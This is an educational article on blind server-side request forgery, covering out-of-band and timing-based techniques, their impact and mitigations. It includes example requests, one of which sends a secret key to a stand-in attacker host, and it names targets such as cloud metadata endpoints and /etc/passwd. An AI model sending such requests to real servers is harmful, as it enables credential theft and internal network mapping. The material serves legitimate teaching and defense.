Understanding Blind SSRF
Blind Server-Side Request Forgery (SSRF) is a stealthy vulnerability where attackers manipulate a server into making unauthorized requests to internal or external systems without receiving direct feedback. Unlike traditional SSRF, attackers must rely on indirect methods—such as timing delays or out-of-band channels—to confirm exploitation success, making both detection and exploitation significantly more challenging.
Key Points
- No Direct Feedback: The application processes requests but doesn't return responses to the attacker
- Indirect Validation Required: Attackers use creative techniques like timing analysis or external monitoring
- High-Value Targets: Internal services, cloud metadata endpoints, and sensitive file systems
- Severe Impact: Can lead to data breaches, network mapping, and cloud infrastructure compromise
How Blind SSRF Works
Blind SSRF exploits occur when an application processes user-supplied input to make server-side requests but doesn't return the response to the attacker. This creates a "blind" scenario requiring alternative validation techniques.
Common Attack Vectors
- File-based SSRF: Forces the server to fetch internal files (e.g.,
/etc/passwd) - Network-based SSRF: Probes internal services (e.g.,
http://localhost:22for SSH) - Cloud Metadata Attacks: Targets cloud provider metadata endpoints (e.g.,
http://169.254.169.254in AWS)
Key Challenge: Without direct feedback, attackers must use creative methods to validate whether their requests reached the intended target.
Types of Blind SSRF
Out-Of-Band (OOB) SSRF
OOB SSRF leverages a separate communication channel to exfiltrate data or confirm request success. This technique is ideal for extracting sensitive information when direct responses are blocked.
How It Works:
- Attacker triggers a request to an attacker-controlled server (via DNS or HTTP)
- Attacker monitors the external server for incoming connections or data
Example Request:
GET /proxy?url=http://attacker.com/exfil?data=secret_key HTTP/1.1
Host: vulnerable-app.com
Common Use Cases:
- Extracting API keys and credentials
- Discovering internal IP addresses
- Confirming vulnerability existence
Time-Based (Semi-Blind) SSRF
Time-based SSRF relies on observable response delays to infer request success. Attackers measure timing differences to determine if internal services are accessible.
How It Works:
- Send requests to potentially slow or non-responsive endpoints
- Measure response times to determine if the request was processed
Example Request:
GET /proxy?url=http://localhost:27017 HTTP/1.1
Host: vulnerable-app.com
Interpreting Results:
- Fast Response (~50ms): Port likely closed or filtered
- Slow Response (~2000ms): Port likely open (e.g., MongoDB default port)
Comparison of Techniques
| Technique | Feedback Mechanism | Detection Difficulty | Primary Use Case |
|---|---|---|---|
| Out-Of-Band SSRF | External server logs | Medium | Data exfiltration |
| Time-Based SSRF | Response time delays | High | Port scanning, service discovery |
Real-World Impact
Blind SSRF vulnerabilities can lead to severe security consequences:
Data Breaches
Exfiltration of sensitive information including credentials, API keys, and personally identifiable information (PII) through OOB channels.
Internal Network Mapping
Discovery of hidden services such as admin panels, databases, and internal APIs that should not be externally accessible.
Cloud Infrastructure Compromise
Access to cloud metadata endpoints (e.g., AWS IAM tokens at http://169.254.169.254) enabling privilege escalation and lateral movement.
Notable Incident: In 2021, a blind SSRF vulnerability in GitHub's runner allowed attackers to access internal networks, demonstrating the real-world severity of this attack vector.
Mitigation Strategies
Input Validation
- Implement domain/IP whitelisting: Restrict requests to known safe destinations only
- Block private and reserved IP ranges: Prevent access to
localhost,127.0.0.1,169.254.169.254, and RFC 1918 addresses - Validate URL schemes: Only allow
http://andhttps://protocols
Network-Level Controls
- Segment internal networks: Use firewalls to isolate backend services from application servers
- Disable unnecessary protocols: Block dangerous schemes like
file://,gopher://,dict://, andftp:// - Implement egress filtering: Control outbound traffic from application servers
Monitoring and Detection
- Log all outbound requests: Monitor and alert on unusual destinations, especially attacker-controlled domains
- Implement rate limiting: Throttle repeated requests to slow down time-based reconnaissance
- Monitor response times: Detect anomalous timing patterns that may indicate exploitation attempts
- Use DNS monitoring: Track DNS queries for suspicious domains or internal hostnames
Learn More
Hands-On Practice
- PortSwigger SSRF Labs: Interactive exercises covering OOB and time-based SSRF techniques
- Hack The Box: Real-world SSRF challenges in vulnerable environments
Technical References
- OWASP SSRF Prevention Cheat Sheet: Comprehensive mitigation guidance
- RFC 3986 - URI Syntax: Understanding URI parsing and SSRF attack vectors
Security Tools
- Burp Collaborator: Detect and analyze OOB interactions during SSRF testing
- SSRFmap: Automated SSRF exploitation and detection framework
- Interactsh: Open-source OOB interaction server for security testing